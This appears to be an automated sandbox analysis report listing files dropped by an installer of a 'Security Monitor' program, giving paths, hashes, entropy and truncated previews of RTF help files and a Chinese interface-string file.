SHA-256:	E41BEF0E6F6FCAB4CC5749CC8066F4AE4EA50F19C518B644B86034BC0885CB32
SHA-512:	670BA488A0DEFF9B037CCCB22912798487F5FC02AFB84E9DF41E2D1DB98E39CF7BC608131B6D38DDAD8250E96F7A9900CCCFBEDA80512BBCBED055788DE8D72C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	53852
Entropy (8bit):	5.077126010099254
Encrypted:	false
SSDEEP:	768:s8SJmeIQTmoQBkyKWm+mqBjLW5qoISN4UIRop1BBAvqJ6Hcrfvw4QJuyHKj3z2yw:s8Urw4zS
MD5:	23DB4F7C5A211C876D606B792A96769E
SHA1:	5747AB46CEB3A87BD87CCB5723BF07E0CFBAA73B
SHA-256:	6229BB6489019CA563DBF8F11CF135C4604A22014337F3AC3FF4E39FC3624E88
SHA-512:	BFF0AAFAF0C676EB9CA6DCF5278E4796DF778943493826C8B3FE8475125C9ADDC4F5763BC64F12B62398C1B77343669BB518FD0A864E83A80CC9F3AACE519A0A
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	56628
Entropy (8bit):	5.001958639036602
Encrypted:	false
SSDEEP:	768:pqFk5evUwdvjLJzrrrMOcPI0QhhiLVptabQhOsWxkMvxGx5QZ+GjaorHye0HmuwB:pqnVUne8GjaUECaIA9o
MD5:	BA9CD5C6FBC3F41BA7B21B842B211D29
SHA1:	337DF42901DA8E9855D59333E4357BB3CF9953E2
SHA-256:	CD14DD162DFBA323EB79D496DB0E9D053B9D21A8AB7E300232074458A91F62E4
SHA-512:	D6A9DC42E548806E469BA0B15C40E886BE92EBBE247116FEE9E15EA83D6B3A8B19C42DF639405DBCB70B3E6859E243406CA24BBAEEAA57E95CCE26128D04ECD7
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	67825
Entropy (8bit):	4.9803843553687
Encrypted:	false
SSDEEP:	768:pqeP2iXwdvjLJzrrrMOcPI0QhhiLVptabQhOsWxkMvxGx5QZTTHPmpncTUAF7s8a:pqL5UneNTHP3TIA9i
MD5:	C84BB8D1E95FF5ED4B74B8F938B7C26F
SHA1:	C661D3ECDB4B78DF45927CB9BD6AD3E97E32391B
SHA-256:	FD87095AFDF8E11217CE15975B5072A0F9543F76E6969A1C89ABA454554D8DAE
SHA-512:	6B54B1F73B15EB1EC8DA02C5ECB859A5E5ED10D41A04F667ACABCA35FA86684EC88D8AFE05C32BD84A1C8584CE6B0805A755FF36FB937484C4258D0CCE94D6E3
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	48225
Entropy (8bit):	5.096715936522922
Encrypted:	false
SSDEEP:	768:ss/Ly89zHebIrfVY9RtmIiRAN4UIRopxdRNudR5crHZi2drk7Y9mrjbmPObWPq6S:ssmpH84z8
MD5:	2598048BFC64A464E54D6B415A7303E7
SHA1:	6FD99F1B7BB146904F310EAA185C9BEF7794DB69
SHA-256:	70C7A754C1EABFA6640D343B1CCF2F773DED987C88AC8F90331AC7DBD1B308AD
SHA-512:	D50B166D6FD03868343EB90C549A7D0D6E6E72AB3A8C73A48E7FCB80AC17BD595BE237C7AEFEE47E1AE9BA80FA5C2DA9800F9A4562E7D99E7006EC89C626A2F7
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	53088
Entropy (8bit):	5.091636989377984
Encrypted:	false
SSDEEP:	768:ss/Ly89zHebIrXWeKyggjmvOnaCwL9W1bd5JIyyFXMjjv0dp+ILGmx5BfQNCrli8:ssm1Gg4zO
MD5:	505DFAF995C4EA7441C48E99C6400772
SHA1:	26C112D3664663D7B9618D11D9BF7C893DAD3A1A
SHA-256:	6D87327F851810F5CC1844EC1A39ACC0390EFB02284094EC53AF1CD4CE8CA3B2
SHA-512:	2F190B4882D740DB06E90532905A6A0EEBC73AC06D581FE993254C0E23A46E7DAAD5F63D0FF643F258D5603B6E866D8AC2447F336F109116777AB49FD824D356
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	61090
Entropy (8bit):	5.061944824308056
Encrypted:	false
SSDEEP:	768:s8/N3CelQcu09coHJreOBnAF3vlmgaJnAF3vlmgaiSN4UIRopZMggLBbWmb8Sw1w:s85g+X4zR
MD5:	F233DF0C1E13DC0EC1FBC3DFE59E36FA
SHA1:	A032C4D543AA03D01A28518894DD066D8682CE2C
SHA-256:	B465F564E4A3FC70B8D12141C5CD4E1EA9C620D4B2A7A5DC84F54D8C5701F590
SHA-512:	13CAF615E0EEEA67CD8037106E7714CACD72F4A74CB53561766D6D7546E97F62A390BB09FD5DFA3AAE56499E13CD699E13684181443E4361BECED33D8D6E26F9
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	50648
Entropy (8bit):	5.076966621667136
Encrypted:	false
SSDEEP:	768:s8SW8t+CiBkyKWm+YqBjLW5qoqKZmbOTJbwQzgJetfBq4z+:s8f8Q4z+
MD5:	927893BFF8C06F090F00A06389C24A42
SHA1:	EADC77D6AAADC171CBF54B81A41930912803AAA0
SHA-256:	37E18C594AA49F95B3CB800A7425EB6AD57FF8BAA97A523F971F8B9F77FC5F70
SHA-512:	1DA7CA2795A54523DE39475A40832088924BFC49DD194A25E202C38D84F9A77389DEC2E612667C0D036ED911F3136D2D23D52AA43C6251D712E43C470E1031C7
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	52487
Entropy (8bit):	5.092431049148049
Encrypted:	false
SSDEEP:	768:ss/LF89zHebIrUQBkyKWm+2Ck4O6CFURooIniy+JcOerjj1oMUliJ/KK0KhKuiFq:ssZmQUw4zQ
MD5:	CBF3434F05AFD39EAF4FF2766C533BCD
SHA1:	A339CCBDD47201D50598801A53E979B0C0A52607
SHA-256:	0F58E6C26916B5B1E7A9E1130C8EC22A08A2500972446EC232901013C7645A1B
SHA-512:	2EB64B6B8625BF64341EAD806EBE07E3BCD954DEC97D50BD68E6990062C1EBAA7553EA2834D04291B4E103F28296BB1F4F5CA6182E143F07752AD375DC8C80DF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	51302
Entropy (8bit):	5.092103345877651
Encrypted:	false
SSDEEP:	768:ss/LF89zHebIrmQBkyKWm+eCk4O6Cg2NjrOX/zJ0PfOyGlgOYBJiDBNBiOl/Vq/M:ssZdBa4zS
MD5:	E5A9141385B035A9DA437DD1F1083F69
SHA1:	A6959E190DCDAD51B46960285E8EFBE532648E7A
SHA-256:	F5F01449E3735132C0A835E6F6A6E9810BF63592073AD66273F6DFEAE36EB41A
SHA-512:	A7B6E252D2B28977A1C1699582BC66B40D99D4B18F47CA78BAFF8D5D0EED592FF6FD9E98E3C10658823A586244CA08A8EDD8A8B1B9B391881C7794E1F0C5EED6
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	54763
Entropy (8bit):	5.086159865228289
Encrypted:	false
SSDEEP:	768:ss/LF89zHebIrIQBkyKWm+2Ck4O6CFURooIniyl+n6S8aG+8Iu/wj5XvSTp5kiWz:ssZVpy4zU
MD5:	FE0FD5197CD49B1818CD102069665E64
SHA1:	313F0DF1F4B687043DAED9B1BB783BA36F8F1BC4
SHA-256:	787E3B3DBC3E1DE91DD2C786085ED70616AF51B843C56B88541B40601390E055
SHA-512:	B24055EE351C5973DF4C42D678A59F84EE4F7447AEDA49581413E97CBA59C0DF1F2E5712BC31C2F94FA399214208BBB9F1C6AE3EA6BB439728D1C5C5D156F96F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	40943
Entropy (8bit):	5.062621250408577
Encrypted:	false
SSDEEP:	768:pqeS48Um0GhbtabQhOsWx/LCrLXI1n8T2njX8x3Ftt4MfRMIq818Z/6A9i:pqKH+qIA9i
MD5:	E2D6C3DBD79C905DABE49F310F9A134E
SHA1:	072CB75BBAD6904B39757E423EEDA0F3CA9FA8D7
SHA-256:	0A9C5D645D90A6D3CA88495DE5D0410CE8456C6AF5C0D56E4F225B81CECC0069
SHA-512:	EEC29BB5020AE654E7A0DB369722B1AD8286D97288C40E009B26AD20A2A9CD661B5AE9CCFFF7629B378EFC98AFA505F933F36C2AF0A49E7C7FD35D3925B0BF42
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	15013
Entropy (8bit):	6.013025249187838
Encrypted:	false
SSDEEP:	192:9DL/YIoCnMY+innEvlPTgFQXU516bXHsFAp/JfloqJPeNKi:9DL/YIoCnMMnEpEXyb3cAtJfav
MD5:	98FE3D6DA49E6A81B5C6A5D5ABF2E69A
SHA1:	A90458B40E3559466180B29822E0E83CC3000632
SHA-256:	FB966B8124C5CEDCEC536B5DFE54168F7AA07DC9717D4099EA67A8DF72342F50
SHA-512:	EA826D7205C882B74D20A4A0499A2966F47BD88CE01326D55B105BAA267606FE0F5C20F995762CC5E320F1273E4C06B0E6840815F2E2601A59CF7F3B12B25372
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### ....... "=".......! ############..###############################################################################..tbStart=".."..tbStartHint="...."..tbStop=".."..tbStopHint="...."..tbFind=".."..tbFindHint="......"..tbSetting=".."..tbSettingHint="...."..tbAbout=".."..tbAboutHint=".. / ...."..tbHomePage=".."..tbHomePageHint="......"..tbToday=".."..tbTodayHint="......"..tbHide=".."..tbHideHint="................"..tbMinimize="..."..tbMinimizeHint="......"..tbExit=".."..tbExitHint="......."..gbLog="...."..tCurrLogSize="....(Mb)"..tCurrScrSize="......(Mb)"..tCurrSnpSize=".........(Mb)"..tCurrSoundsSize="...... (Mb)"..tCurrVideosSize=".

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	52052
Entropy (8bit):	5.0423517848490995
Encrypted:	false
SSDEEP:	768:2eFD747+kxKTllT2njX8x3xezX3MmwxXoC+zKjkMpEZI6xAzj54vWHmI9ikzmind:2ee2XMIA9o
MD5:	86DF8DBFBB9E6B68A8255BF9B36A9A79
SHA1:	49BBA097A2FA7B3AA66E58F2ECCB244444C96AD3
SHA-256:	232B3BC657DA966541951F2BCAD65B0394BA11608B61F60732E9049B70D8C46D
SHA-512:	BE429F10D254B65E0DEBA90598DEF9ABACD7C641FDF418B7FA272DED99ABA0A3C6E91CF002CEFDB43D95F54466CD0631326788D6E59628ED0A7922422E530F5A
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44042
Entropy (8bit):	5.0382315831173985
Encrypted:	false
SSDEEP:	768:2QFDC47+EpRx1IKZR1yc+rROcPI0QhhiLVRtvYq14MfzCJrUwQpd8HZ/6A9u:2QDFUnUIA9u
MD5:	C87126C1EBFECCC1BE9D35D2C25360F3
SHA1:	9968DE7D3CAA691A6EB0E643E643C34B7B044F55
SHA-256:	0965D39B40A80B7EF5452ACEEEC9CE43CC5C8D6762617F8FF907444377844D14
